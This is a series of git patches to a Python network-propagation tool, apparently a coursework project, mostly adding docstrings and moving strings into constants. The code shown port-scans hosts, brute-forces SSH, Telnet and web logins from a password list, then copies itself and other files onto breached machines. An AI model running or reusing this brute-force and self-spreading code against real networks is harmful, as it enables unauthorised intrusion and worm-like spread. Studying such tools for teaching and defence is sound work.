From 1e3ae4e08118a1ef74e7c8a8e140aa7c08027727 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 7 Mar 2022 08:22:09 +0000 Subject: [PATCH 01/78] Changing feature branch for code-ql and python-app --- .github/workflows/codeql-analysis-feature.yml | 4 ++-- .github/workflows/python-app-feature.yml | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/codeql-analysis-feature.yml b/.github/workflows/codeql-analysis-feature.yml index 8d77495..f22e2e9 100644 --- a/.github/workflows/codeql-analysis-feature.yml +++ b/.github/workflows/codeql-analysis-feature.yml @@ -13,10 +13,10 @@ name: "CodeQL - Feature" on: push: - branches: [ wiki_and_documentation_establishment ] + branches: [ 17_adding_strings ] pull_request: # The branches below must be a subset of the branches above - branches: [ wiki_and_documentation_establishment ] + branches: [ 17_adding_strings ] schedule: - cron: '34 22 * * 4' diff --git a/.github/workflows/python-app-feature.yml b/.github/workflows/python-app-feature.yml index 0346023..2ad8e3f 100644 --- a/.github/workflows/python-app-feature.yml +++ b/.github/workflows/python-app-feature.yml @@ -5,9 +5,9 @@ name: Python Application - Feature on: push: - branches: [ wiki_and_documentation_establishment ] + branches: [ 17_adding_strings ] pull_request: - branches: [ wiki_and_documentation_establishment ] + branches: [ 17_adding_strings ] jobs: build: From 971c445f60b430751bd2bbac6e995b407095859d Mon Sep 17 00:00:00 2001 From: 0x30c4 Date: Mon, 7 Mar 2022 15:27:18 +0600 Subject: [PATCH 02/78] [FIX] 'requirements.txt' added --- requirements.txt | 1 + 1 file changed, 1 insertion(+) create mode 100644 requirements.txt diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..139fa36 --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +scapy>=2.4.5 From 50414ab404515355c2df4eea445222795c1a43aa Mon Sep 17 00:00:00 2001 From: 0x30c4 Date: Mon, 7 Mar 2022 15:34:49 +0600 Subject: [PATCH 03/78] [FIX] Added code for exit and print help when no arguments are passed. --- src/main.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/src/main.py b/src/main.py index 2c72880..dfa0736 100755 --- a/src/main.py +++ b/src/main.py @@ -26,6 +26,12 @@ def main(): """ # These arguments are passed in by the end user. arguments = sys.argv + + # If there is no arguments then just print the help menue and exit. + if arguments.__len__(): + net_propagation.gtfo_and_rtfm() + sys.exit(-1) + # Just initialising this for use later. transfer_file_filename = "" From 52f30bbe8772e303e8f2e72200239279fe7454f1 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 7 Mar 2022 09:49:12 +0000 Subject: [PATCH 04/78] Just adding parameter and return commenting, more to do --- src/net_propagation.py | 71 ++++++++++++++++++++++++++++++++++++------ 1 file changed, 61 insertions(+), 10 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index faa8821..a8bf1f1 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -1,7 +1,4 @@ #!/usr/bin/python3 -# TODO: Add param and return keywords to block comments with the necessary -# contents to clarify what's being passed in and out. Maybe look at some -# automatic documentation / keyword solutions? (Andrew) # from scapy.all import * # For use when adding new functionality with scapy, be sure to statically @@ -41,7 +38,12 @@ def additional_attacks(arguments, ip, port, username, """ This function passes the appropriate arguments to and runs the transferring file and propagating functions, these functions contain the check to stop - them from being run if the appropriate arguments aren't used. + them from being run if the appropriate arguments aren't used + :param arguments: Arguments passed in by the user themselves + :param ip: The ip address we are transferring the file to + :param port: The port we are transferring the file through + :param username: The username for the transfer action + :param transfer_file_filename: Filename for the file to be transferred """ try_transferring_file(arguments, ip, port, username, transfer_file_filename) @@ -51,7 +53,9 @@ def additional_attacks(arguments, ip, port, username, def append_lines_from_file_to_list(file): """ This function will read a file and return the lines (minus the newline - character) as a list. + character) as a list + :param file: The file to read and gather lines from + :return lines_list: The lines themselves. """ lines_list = [] for line in file: @@ -63,7 +67,12 @@ def assigning_values(arguments): """ This function will read in the target ports, target username and passwords filename from the user and if the user specified an ip addresses file it - will read that and return it alongside all the other values. + will read that and return it alongside all the other values + :param arguments: The arguments passed in by the user + :return ip_list: The list of IP addresses contained in the given file + :return target_ports: The selection of ports to target + :return target_username: The username that will be used for actions + :return passwords_filename: The filename of the passwords file """ if "-t" in arguments: ip_addresses_filename = arguments[arguments.index("-t") + 1] @@ -84,7 +93,13 @@ def bruteforce_service(ip, port, username, password_list): attempt to bruteforce the appropriate service with that password. It will only move on to the next password in the event that the current password fails in its bruteforce attempt. If it succeeds then the successful login - details are returned, if not then Null is returned. + details are returned, if not then Null is returned + :param ip: The IP address to attempt to breach + :param port: The port and subsequently service we're breaching + :param username: The username we're signing in to services on + :param password_list: The list of passwords to attempt + :return login_details: The username and password to return + :return NONE: Only done to indicate an unsuccessful task """ for password in password_list: login_details = (try_password_for_service(ip, port, username, @@ -98,7 +113,14 @@ def check_over_ssh(ip, port, username, password): """ This function checks if the net_attack.py script is already located at the target machine over SSH. If it is then false is returned and if not then - true is returned. This is needed as a prerequisite to propagating over SSH. + true is returned. This is needed as a prerequisite to propagating over SSH + :param ip: The IP address target for SSH + :param port: The port on which we're running SSH + :param username: The username to target over SSH + :param password: Password to use with SSH + :return True: If the file doesn't exist on the target host or there's a + problem with SSH (assuming file isn't present essentially) + :return False: If the file does exist """ client = SSHClient() try: @@ -122,7 +144,14 @@ def check_over_telnet(ip, port, username, password): This function checks if the net_attack.py script is already located at the target machine over telnet. If it is then false is returned and if not then true is returned. This is needed as a prerequisite to propagating over - telnet. + telnet + :param ip: The IP address target for Telnet + :param port: The port on which we're running Telnet + :param username: The username to target over Telnet + :param password: Password to use with Telnet + :return True: If the file doesn't exist on the target host or there's a + problem with Telnet (assuming file isn't present essentially) + :return False: If the file does exist """ try: tel = Telnet(host=ip, port=port, timeout=2) @@ -146,7 +175,11 @@ def check_over_telnet(ip, port, username, password): def check_telnet_data(string_to_check, data): """ This function checks data gathered from the telnet service for a specific - string and returns True if it finds it and false if it doesn't. + string and returns True if it finds it and false if it doesn't + :param string_to_check: The string to find in the Telnet data + :param data: The telnet data itself + :return True: The string was found in the telnet data + :return False: The string was not found in the telnet data """ if data.__contains__(string_to_check.encode("ascii")): return True @@ -183,6 +216,12 @@ def connect_ssh_client(ip, port, username, password): """ This function checks to see if an SSH connection can be established and if so then it returns true, if not then it returns false. + :param ip: The target IP address for SSH + :param port: The target port for SSH + :param username: The target username for SSH + :param password: The target password for SSH + :return True: If the SSH connect is successful + :return False: If the SSH connect is unsuccessful """ client = SSHClient() try: @@ -204,6 +243,12 @@ def connect_telnet(ip, port, username, password): """ This function checks to see if a telnet connection can be established and if so then it returns true, if not then it returns false. + :param ip: The target IP address for Telnet + :param port: The target port for Telnet + :param username: The target username for Telnet + :param password: The target password for Telnet + :return True: If the Telnet connect is successful + :return False: If the Telnet connect is unsuccessful """ try: tel = Telnet(host=ip, port=port, timeout=2) @@ -231,6 +276,12 @@ def connect_web(ip, port, username, password): """ This function check to see if a web login can be established and if so then it returns true, if not then it returns false. + :param ip: The target IP address for web login + :param port: The target port for web login + :param username: The target username for Telnet + :param password: The target password for Telnet + :return True: If the Telnet connect is successful + :return False: If the Telnet connect is unsuccessful """ attempt_succeeded = False try: From 61aea5b339e0732cf5806e552b97642592ebf401 Mon Sep 17 00:00:00 2001 From: 0x30c4 Date: Mon, 7 Mar 2022 16:05:07 +0600 Subject: [PATCH 05/78] [FIX] 'requirements.txt' added --- requirements.txt | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/requirements.txt b/requirements.txt index 139fa36..3290537 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1 +1,6 @@ scapy>=2.4.5 +ipykernel +paramiko +scapy +pytest +requests From 8c851dd786b93ab04be9567b36b164be84114cba Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 7 Mar 2022 11:04:52 +0000 Subject: [PATCH 06/78] Added more, committing for now --- src/net_propagation.py | 33 +++++++++++++++++++++++++++------ 1 file changed, 27 insertions(+), 6 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index a8bf1f1..9898e18 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -275,7 +275,7 @@ def connect_telnet(ip, port, username, password): def connect_web(ip, port, username, password): """ This function check to see if a web login can be established and if so then - it returns true, if not then it returns false. + it returns true, if not then it returns false :param ip: The target IP address for web login :param port: The target port for web login :param username: The target username for Telnet @@ -298,7 +298,9 @@ def connect_web(ip, port, username, password): def convert_file_to_list(filename): """ This function will convert a given file specified by a filename to a list - and will then proceed to return that list. + and will then proceed to return that list + :param filename: The filename of the file that needs to be converted to a list + :return file_as_list: The list of the lines from the file """ with open(str(filename)) as file: file_as_list = append_lines_from_file_to_list(file) @@ -309,7 +311,10 @@ def cycle_through_subnet(ip_list, interface): """ This function takes in a given network interface and an IP list, it will get the IP address of the interface and add all the address from its /24 - subnet to the IP list and will then return the list. + subnet to the IP list and will then return the list + :param ip_list: The list of IP addresses in the subnet + :param interface: The interface on which each IP address is to be checked for a + response """ interface_split = get_if_addr(interface).split(".") last_byte = 0 @@ -337,7 +342,12 @@ def file_error_handler(): def file_not_exist(ip, port, username, password): """ This function will check whether network_attack.py exists on a target - machine and how it does that is dependent on the port being passed in. + machine and how it does that is dependent on the port being passed in + :param ip: IP of the machine we're checking for a file for + :param port: Port on which we which to check the machine + :param username: Username to use as part of checking the file + :param password: Password being used as part of checking the file + :return check_over_ssh(ip, port, username, password): """ if str(port) == "22": return check_over_ssh(ip, port, username, password) @@ -349,6 +359,8 @@ def gathering_local_ips(ip_list): """ This function will cycle through all local interfaces outside the loopback interface and will add their /24 subnets to the IP list. + :param ip_list: The IPs for which we're fetching the subnets. + :return ip_list: The IP list with the newly found subnet addresses. """ print("Fetching local interface list...") local_interfaces = get_if_list() @@ -372,7 +384,10 @@ def is_reachable_ip(ip): This function checks to see if an IP is reachable and returns true if it is and false if it isn't. The commented out code is the scapy way of doing it and the uncommented code uses OS calls. In my testing OS calls were faster - but both approaches work. + but both approaches work + :param ip: The IP address we're checking to see if it is reachable + :return True: If the IP address is reachable + :return False: If the IP address is not reachable """ # ping_pkt = IP(dst=str(ip))/ICMP() # reply = sr(ping_pkt, timeout=1)[0] @@ -397,7 +412,13 @@ def propagate_script(ip, port, login_string): either 22 (SSH) and 23 (telnet), it will also check to ensure the script isn't already present on the target. It goes about propagating the script in different ways depending on if an SSH port or a telnet port is - specified. + specified + :param ip: The IP address we wish to propagate the script to + :param port: The port through which we'll propagate the script + :param login_string: This string contains the username and password for the service + used + :return True: If the script is successfully propagated here. + :return False: If the script is not successfully propagated here. """ login_string_split = login_string.split(":") try: From 1159b05a5b088d9c52f72e1166e66d4fb590bd63 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 7 Mar 2022 17:37:03 +0000 Subject: [PATCH 07/78] Making updating pip part of the dev setup script --- dev_setup.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/dev_setup.sh b/dev_setup.sh index 1584160..cc448b7 100755 --- a/dev_setup.sh +++ b/dev_setup.sh @@ -1,3 +1,4 @@ #!/usr/bin/env bash # Linux setup for running the scripts locally. python3 -m pip install ipykernel paramiko scapy pytest requests +/usr/bin/python3 -m pip install --upgrade pip From 81e99a05b818f2656775a3d0457ec4ea743bbdd8 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 7 Mar 2022 18:45:08 +0000 Subject: [PATCH 08/78] More params and returns done, nearly there :) --- src/net_propagation.py | 85 +++++++++++++++++++++++++++++------------- 1 file changed, 59 insertions(+), 26 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index 9898e18..1530fa1 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -215,7 +215,7 @@ def checking_arguments(arguments): def connect_ssh_client(ip, port, username, password): """ This function checks to see if an SSH connection can be established and if - so then it returns true, if not then it returns false. + so then it returns true, if not then it returns false :param ip: The target IP address for SSH :param port: The target port for SSH :param username: The target username for SSH @@ -242,7 +242,7 @@ def connect_ssh_client(ip, port, username, password): def connect_telnet(ip, port, username, password): """ This function checks to see if a telnet connection can be established and - if so then it returns true, if not then it returns false. + if so then it returns true, if not then it returns false :param ip: The target IP address for Telnet :param port: The target port for Telnet :param username: The target username for Telnet @@ -299,7 +299,8 @@ def convert_file_to_list(filename): """ This function will convert a given file specified by a filename to a list and will then proceed to return that list - :param filename: The filename of the file that needs to be converted to a list + :param filename: The filename of the file that needs to be converted to a + list :return file_as_list: The list of the lines from the file """ with open(str(filename)) as file: @@ -313,8 +314,8 @@ def cycle_through_subnet(ip_list, interface): get the IP address of the interface and add all the address from its /24 subnet to the IP list and will then return the list :param ip_list: The list of IP addresses in the subnet - :param interface: The interface on which each IP address is to be checked for a - response + :param interface: The interface on which each IP address is to be checked + for a response """ interface_split = get_if_addr(interface).split(".") last_byte = 0 @@ -358,9 +359,9 @@ def file_not_exist(ip, port, username, password): def gathering_local_ips(ip_list): """ This function will cycle through all local interfaces outside the loopback - interface and will add their /24 subnets to the IP list. - :param ip_list: The IPs for which we're fetching the subnets. - :return ip_list: The IP list with the newly found subnet addresses. + interface and will add their /24 subnets to the IP list + :param ip_list: The IPs for which we're fetching the subnets + :return ip_list: The IP list with the newly found subnet addresses """ print("Fetching local interface list...") local_interfaces = get_if_list() @@ -415,10 +416,10 @@ def propagate_script(ip, port, login_string): specified :param ip: The IP address we wish to propagate the script to :param port: The port through which we'll propagate the script - :param login_string: This string contains the username and password for the service - used - :return True: If the script is successfully propagated here. - :return False: If the script is not successfully propagated here. + :param login_string: This string contains the username and password for the + service used + :return True: If the script is successfully propagated here + :return False: If the script is not successfully propagated here """ login_string_split = login_string.split(":") try: @@ -473,7 +474,10 @@ def propagate_script(ip, port, login_string): def remove_unreachable_ips(ip_list): """ This function will try and ping every IP in the IP list and if it doesn't - receive a response it will then remove that IP from the IP list. + receive a response it will then remove that IP from the IP list + :param ip_list: The list of IP Addresses to check + :return new_ip_list: The revised list of IP addresses with invalid + addresses removed. """ new_ip_list = [] for ip in ip_list: @@ -486,7 +490,11 @@ def remove_unreachable_ips(ip_list): def scan_port(ip, port): """ This function will scan a port to see if it is open. If the port is open - then it will return true and if it is not then it will return false. + then it will return true and if it is not then it will return false + :param ip: The IP address on which the port is situated + :param port: The port we wish to scan + :return True: The port is open + :return False: The port is not open """ ip_header = IP(dst=ip) tcp_header = TCP(dport=int(port), flags="S") @@ -503,7 +511,11 @@ def send_post_request_with_login(ip, port, username, password): This function sends a post request to a web server in an attempt to bruteforce its login details. If it succeeds with the given arguments then it will return the successful string of details, if not then it will return - Null. + Null + :param ip: The IP address with the web service + :param port: The port of the web service + :param username: The username for the web login + :param password: The password for the web login """ response = requests.post("https://" + ip + ":" + port + "/login.php", data={"username": username, "password": password}, @@ -517,16 +529,20 @@ def send_post_request_with_login(ip, port, username, password): return None -def telnet_connection(ip_telnet, port_telnet, username_telnet, - password_telnet): +def telnet_connection(ip, port, username, password): """ This function will try to establish a telnet connection, if it does it will return the successful telnet login string and if not then it will return a - null value. - """ - if connect_telnet(ip_telnet, port_telnet, username_telnet, - password_telnet): - return str(username_telnet) + ":" + str(password_telnet) + null value + :param ip: The target IP address for the telnet connection + :param port: The target port for the telnet connection + :param username: The target username for the telnet connection + :param password: The target password for the telnet connection + :return str(username) + ":" + str(password): The successful login string + :return None: If the telnet connection is unsuccessful + """ + if connect_telnet(ip, port, username, password): + return str(username) + ":" + str(password) return None @@ -535,7 +551,14 @@ def transfer_file(ip, port, login_string, transfer_file_filename): This function will transfer a given file if the end user has provided the appropriate argument, and only when bruteforce login details are found for either tenet or SSH. It handles the transfer of this file differently - depending on whether the port value given is an SSH port or a telnet port. + depending on whether the port value given is an SSH port or a telnet port + :param ip: The IP address to which the file should be transferred + :param port: The port over which the file should be transferred + :param login_string: The username and password needed for the transfer of + the file over the given service + :param transfer_file_filename: The filename of the file to be transferred + :return True: The transfer of the file is a success + :return False: The transfer of the file is unsuccessful """ login_string_split = login_string.split(":") try: @@ -569,7 +592,13 @@ def try_attack(ip, port, target_username, password_list, iterates through the password list when you bruteforce the appropriate service associated with the port number supplied. If the bruteforce attack is successful it will then check the need for additional attacks specified - by the end user. + by the end user + :param ip: The IP address on which we wish to try an action + :param port: The port over which we wish to try an action + :param target_username: The username for the action + :param password_list: A list of possible passwords + :param transfer_file_filename: A filename for file to transfer + :param arguments: List of user specified arguments """ logging.info("Now testing an IP address and port pair") if scan_port(ip, port): @@ -581,7 +610,7 @@ def try_attack(ip, port, target_username, password_list, bruteforce_login_details[0], transfer_file_filename) else: - print("This IP address and port pair is closed.") + logging.debug("This IP address and port pair is closed") def try_bruteforce(ip, port, target_username, password_list): @@ -589,7 +618,11 @@ def try_bruteforce(ip, port, target_username, password_list): This function will try to bruteforce a specific service depending on the port supplied. If it gets a successful login then it will return the login details and the service used, otherwise it returns null as the login - details along with the service used. + details along with the service used + :param ip: Target IP address for an action + :param port: Target port over which to carry out an action + :param target_username: Target username + :param password_list: """ service_switch = { "22": "ssh", From f97b413b4b5a316a041cca69bcb78ce9744728f7 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Tue, 8 Mar 2022 09:23:55 +0000 Subject: [PATCH 09/78] Added more strings to string.py, removed todo and finished return/param --- src/main.py | 3 -- src/net_propagation.py | 73 ++++++++++++++++++++++++++++++------------ src/strings.py | 29 +++++++++++++++++ 3 files changed, 81 insertions(+), 24 deletions(-) diff --git a/src/main.py b/src/main.py index 2c72880..a37ec08 100755 --- a/src/main.py +++ b/src/main.py @@ -1,7 +1,4 @@ #!/usr/bin/python3 -# TODO: Change method names and reread some comments like here for example, not -# attacking, propagating and protecting more like. (Andrew) - import logging import net_propagation import strings diff --git a/src/net_propagation.py b/src/net_propagation.py index 1530fa1..e7dd3aa 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -75,12 +75,18 @@ def assigning_values(arguments): :return passwords_filename: The filename of the passwords file """ if "-t" in arguments: - ip_addresses_filename = arguments[arguments.index("-t") + 1] + ip_addresses_filename = \ + arguments[ + arguments.index(strings.ARGUMENT_IP_ADDRESS_FILENAME) + 1] try: ip_list = convert_file_to_list(ip_addresses_filename) - target_ports = arguments[arguments.index("-p") + 1] - target_username = arguments[arguments.index("-u") + 1] - passwords_filename = arguments[arguments.index("-f") + 1] + target_ports = arguments[ + arguments.index(strings.ARGUMENT_PORTS) + 1] + target_username = \ + arguments[arguments.index(strings.ARGUMENT_USERNAME) + 1] + passwords_filename = \ + arguments[arguments.index(strings.ARGUMENT_PASSWORDS_FILENAME) + + 1] return ip_list, target_ports, target_username, passwords_filename except RuntimeError: logging.error(strings.ip_list_not_read(ip_addresses_filename)) @@ -99,21 +105,22 @@ def bruteforce_service(ip, port, username, password_list): :param username: The username we're signing in to services on :param password_list: The list of passwords to attempt :return login_details: The username and password to return - :return NONE: Only done to indicate an unsuccessful task + :return None: Only done to indicate an unsuccessful task """ for password in password_list: login_details = (try_password_for_service(ip, port, username, password)) - if login_details != "": + if login_details != strings.BLANK_STRING: return login_details return None def check_over_ssh(ip, port, username, password): """ - This function checks if the net_attack.py script is already located at the - target machine over SSH. If it is then false is returned and if not then - true is returned. This is needed as a prerequisite to propagating over SSH + This function checks if the net_propagation.py script is already located at + the target machine over SSH. If it is then false is returned and if not + then true is returned. This is needed as a prerequisite to propagating over + SSH :param ip: The IP address target for SSH :param port: The port on which we're running SSH :param username: The username to target over SSH @@ -127,8 +134,10 @@ def check_over_ssh(ip, port, username, password): client.set_missing_host_key_policy(AutoAddPolicy()) client.connect(hostname=str(ip), port=int(port), username=str(username), password=str(password)) - client.exec_command("touch net_attack.py") - if str(client.exec_command("cat net_attack.py")[1]).__len__() < 1: + client.exec_command(strings.touch_file(os.path.basename(__file__))) + if str(client.exec_command + (strings.cat_file(os.path.basename(__file__))) + [1]).__len__() < 1: client.close() return True client.close() @@ -155,9 +164,10 @@ def check_over_telnet(ip, port, username, password): """ try: tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until("login:".encode("ascii")) - tel.write((str(username) + "\n").encode("ascii")) - tel.read_until("Password:".encode("ascii")) + tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) + tel.write((str(username) + strings.RETURN_OR_NEWLINE) + .encode(strings.ENCODE_ASCII)) + tel.read_until(strings.PASSWORD_PROMPT.encode(strings.ENCODE_ASCII)) tel.write((str(password) + "\n").encode("ascii")) data = tel.read_until("Welcome to".encode("ascii"), timeout=4) if check_telnet_data("Welcome to", data): @@ -621,8 +631,12 @@ def try_bruteforce(ip, port, target_username, password_list): details along with the service used :param ip: Target IP address for an action :param port: Target port over which to carry out an action - :param target_username: Target username - :param password_list: + :param target_username: Target username that's needed for the action + :param password_list: Target password that's needed for the action + :return str(bruteforce), service: The username and password of a successful + action with the service used + :return None, service: Empty username and password for an unsuccessful + action and the service which was used. """ service_switch = { "22": "ssh", @@ -647,7 +661,14 @@ def try_password_for_service(ip, port, username, password): """ This function tries to log into to a port's associated service using a specific username and password pair. If it succeeds it returns the - successful login string, otherwise it returns an empty string. + successful login string, otherwise it returns an empty string + :param ip: The specific target IP + :param port: The specific target port + :param username: The username to use with the password + :param password: The password itself + :return str(username) + ":" + str(password): The successful username and + password combination + :return "": Empty string for unsuccessful username and password combination """ try: connect_service_switch = { @@ -673,12 +694,16 @@ def try_propagating(arguments, ip, port, bruteforce): service was successful. If it is unsuccessful then we let the user know it was unsuccessful and over what service. Should the user have never asked for the script to be propagated over the network then we let them know this - part of the process will not be done. + part of the process will not be done + :param arguments: The arguments passed in by the user themselves + :param ip: The IP address we wish to propagate to + :param port: The port we're propagating through + :param bruteforce: The username and password string combo """ if "-P" in arguments and (port == "22" or "23"): propagated = propagate_script(ip, port, bruteforce) if propagated: - logging.info("Script propagated over this port") + logging.info("Script propagated over this port") else: logging.debug("Script couldn't be propagated over this port") else: @@ -694,7 +719,12 @@ def try_transferring_file(arguments, ip, port, bruteforce, the file was a success and over what service. If it is unsuccessful then we let the user know it was unsuccessful and over what service. Should the user have never asked for a file to be transferred over the network then we - let them know this process will not be done. + let them know this process will not be done + :param arguments: The arguments passed in by the user themselves + :param ip: The IP address we wish to propagate to + :param port: The port we're propagating through + :param bruteforce: The username and password string combo + :param transfer_file_filename: The filename of the file we wish to transfer """ if "-d" in arguments and (str(port) == "22" or "23"): transferred = transfer_file(ip, port, bruteforce, @@ -711,7 +741,8 @@ def validate_file_exists(filename): """ This function checks if a file exists given a set filename and if it doesn't we alert the user with an error and put them in the bold corner. - Just kidding we show the help screen and exit gracefully. + Just kidding we show the help screen and exit gracefully + :param filename: The name of the file we wish to ensure exists """ if not os.path.isfile(filename): logging.error("A specified file does not exist") diff --git a/src/strings.py b/src/strings.py index 31bb2f3..a3b1842 100644 --- a/src/strings.py +++ b/src/strings.py @@ -7,8 +7,16 @@ every string constant has a comment describing its use. """ +ARGUMENT_IP_ADDRESS_FILENAME = "-t" +ARGUMENT_PORTS = "-p" +ARGUMENT_USERNAME = "-u" +ARGUMENT_PASSWORDS_FILENAME = "-f" +BLANK_STRING = "" +ENCODE_ASCII = "ascii" EXITING = "Exiting..." FILENAME_PROCESSING_ERROR = "One of the filenames are invalid." +LOGIN_PROMPT = "login:" +PASSWORD_PROMPT = "Password:" PERFORMING_LOCAL_SCAN = "Performing local scan, this might take a while so " \ "grab a coffee..." PLS_HELP = "Parameters:\n\t-t -> Filename for a file containing a list of " \ @@ -21,6 +29,7 @@ "\t./net_attack.py -t my_ip_list.txt -p 22,23,25,80 -u admin " \ "-f my_password_list.txt\n\n\t./net_attack.py -t ip_list.txt " \ "-p 22 -u root -f passwords.txt" +RETURN_OR_NEWLINE = "\n" def connection_status(service, ip, port, status): @@ -35,6 +44,26 @@ def connection_status(service, ip, port, status): return string +def touch_file(filename): + """ + This function creates a command for touching a specific file + :param filename: The filename of the file we want to touch + :return command: The completed touch command + """ + command = "touch " + filename + return command + + +def cat_file(filename): + """ + This function creates a command for concatenating a specific file + :param filename: The filename of the file we want to touch + :return command: The completed touch command + """ + command = "cat " + filename + return command + + def ip_list_not_read(filename): """ This function returns the error for an ip list that can't be generated from From 97b307556dd1e51af7b98105669f21648b3effa1 Mon Sep 17 00:00:00 2001 From: 0x30c4 Date: Tue, 8 Mar 2022 20:06:07 +0600 Subject: [PATCH 10/78] [UPDATE] RejectPolicy was added --- .gitignore | 1 + src/net_propagation.py | 8 ++++---- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/.gitignore b/.gitignore index 42ca72f..ed54ea2 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ .idea/workspace.xml .idea/git_toolbox_prj.xml +src/__pycache__ diff --git a/src/net_propagation.py b/src/net_propagation.py index faa8821..a5e7eb5 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -13,7 +13,7 @@ from scapy.utils import subprocess, os from telnetlib import Telnet from time import sleep -from paramiko import SSHClient, AutoAddPolicy +from paramiko import SSHClient, AutoAddPolicy, RejectPolicy import logging import requests import strings @@ -102,7 +102,7 @@ def check_over_ssh(ip, port, username, password): """ client = SSHClient() try: - client.set_missing_host_key_policy(AutoAddPolicy()) + client.set_missing_host_key_policy(RejectPolicy) client.connect(hostname=str(ip), port=int(port), username=str(username), password=str(password)) client.exec_command("touch net_attack.py") @@ -186,7 +186,7 @@ def connect_ssh_client(ip, port, username, password): """ client = SSHClient() try: - client.set_missing_host_key_policy(AutoAddPolicy()) + client.set_missing_host_key_policy(RejectPolicy) client.connect(hostname=str(ip), port=int(port), username=str(username), password=str(password)) client.close() @@ -362,7 +362,7 @@ def propagate_script(ip, port, login_string): + login_string_split[0] + "@" + ip + ":~/") client = SSHClient() try: - client.set_missing_host_key_policy(AutoAddPolicy()) + client.set_missing_host_key_policy(RejectPolicy) client.connect(hostname=str(ip), port=int(port), username=str(login_string_split[0]), password=str(login_string_split[1])) From b0ad26bce24efbddcb7f5620258753ec5bd1fee0 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Tue, 8 Mar 2022 15:26:11 +0000 Subject: [PATCH 11/78] Work done remotely --- src/net_propagation.py | 28 ++++++++++++++++++---------- src/strings.py | 7 +++++++ 2 files changed, 25 insertions(+), 10 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index e7dd3aa..36aad96 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -136,7 +136,7 @@ def check_over_ssh(ip, port, username, password): username=str(username), password=str(password)) client.exec_command(strings.touch_file(os.path.basename(__file__))) if str(client.exec_command - (strings.cat_file(os.path.basename(__file__))) + (strings.cat_file(os.path.basename(__file__))) [1]).__len__() < 1: client.close() return True @@ -168,12 +168,16 @@ def check_over_telnet(ip, port, username, password): tel.write((str(username) + strings.RETURN_OR_NEWLINE) .encode(strings.ENCODE_ASCII)) tel.read_until(strings.PASSWORD_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(password) + "\n").encode("ascii")) - data = tel.read_until("Welcome to".encode("ascii"), timeout=4) - if check_telnet_data("Welcome to", data): - tel.write("cat net_attack.py\n".encode("ascii")) - data = tel.read_until("main()".encode("ascii"), timeout=4) - if data.__contains__("main()".encode("ascii")): + tel.write((str(password) + strings.RETURN_OR_NEWLINE).encode("ascii")) + data = tel.read_until(strings.WELCOME_TO.encode(strings.ENCODE_ASCII), + timeout=4) + if check_telnet_data(strings.WELCOME_TO, data): + tel.write(strings.cat_file(os.path.basename(__file__) + + strings.RETURN_OR_NEWLINE) + .encode(strings.ENCODE_ASCII)) + data = tel.read_until(strings.MAIN.encode(strings.ENCODE_ASCII), + timeout=4) + if data.__contains__(strings.MAIN.encode(strings.ENCODE_ASCII)): return False return True return False @@ -191,7 +195,7 @@ def check_telnet_data(string_to_check, data): :return True: The string was found in the telnet data :return False: The string was not found in the telnet data """ - if data.__contains__(string_to_check.encode("ascii")): + if data.__contains__(string_to_check.encode(strings.ENCODE_ASCII)): return True return False @@ -208,8 +212,12 @@ def checking_arguments(arguments): :return values[2]: Username to target :return values[3]: Filename for a file containing passwords """ - if (("-t" or "-L" in arguments) and "-p" and "-u" and "-f" in arguments - and len(arguments) >= 8 and "-h" and "--help" not in arguments): + if ((strings.ARGUMENT_IP_ADDRESS_FILENAME or + strings.ARGUMENT_SCAN_LOCAL_NETWORKS in arguments) and + strings.ARGUMENT_PORTS and strings.ARGUMENT_USERNAME and + strings.ARGUMENT_USERNAME in arguments and len(arguments) >= 8 and + strings.ARGUMENT_HELP_SHORT and strings.ARGUMENT_HELP_LONG not in + arguments): try: values = assigning_values(arguments) return values[0], values[1], values[2], values[3] diff --git a/src/strings.py b/src/strings.py index a3b1842..271f0c4 100644 --- a/src/strings.py +++ b/src/strings.py @@ -11,12 +11,18 @@ ARGUMENT_PORTS = "-p" ARGUMENT_USERNAME = "-u" ARGUMENT_PASSWORDS_FILENAME = "-f" +ARGUMENT_SCAN_LOCAL_NETWORKS = "-L" +ARGUMENT_HELP_SHORT = "-h" +ARGUMENT_HELP_LONG = "--help" BLANK_STRING = "" ENCODE_ASCII = "ascii" EXITING = "Exiting..." +FAILED_ASSIGNING_VALUES = "Failed assigning values (maybe null)" FILENAME_PROCESSING_ERROR = "One of the filenames are invalid." LOGIN_PROMPT = "login:" +MAIN = "main()" PASSWORD_PROMPT = "Password:" +PARAMETER_MISUSE = "Parameter misuse, check help text below" PERFORMING_LOCAL_SCAN = "Performing local scan, this might take a while so " \ "grab a coffee..." 